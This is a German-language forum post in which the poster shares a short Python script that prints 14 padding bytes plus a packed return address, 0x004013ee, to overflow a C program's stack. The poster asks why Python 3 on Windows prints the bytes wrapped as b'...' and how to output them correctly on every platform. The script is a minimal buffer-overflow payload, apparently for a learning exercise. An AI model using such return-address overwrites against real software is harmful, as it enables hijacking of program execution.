ich versuche mit folgendem Skript einem C-Programm eine neue Rücksprungadresse aufzuzwingen:
Code: Alles auswählen
import struct
eip = 0x004013ee
print("A"*14 + struct.pack("<L",eip)
Code: Alles auswählen
0000000: 4141 4141 4141 4141 4141 4141 4141 ee13 AAAAAAAAAAAAAA..
0000010: 4000 0a @..
Unter Windoof bekomm ich zunächst einmal die Fehlermeldung:
(welche sich aber dadurch beheben lässt, ein Komma statt einem "+" in der print-Funktion zu verwenden.TypeError: Can't convert 'bytes' object to str implicitly
Viel schlimmer ist jedoch, dass mir Python unter Windows statt dem Obigen folgendes ausgibt:
Code: Alles auswählen
AAAAAAAAAAAAAA b'\xee\x13@\x00'
Wie kann ich diese "Einrahmung" unterdrücken bzw. meinen Code so gestalten, dass er mir auf allen Plattformen richtig ausgegeben wird?
1000 Dank für eure Hilfe!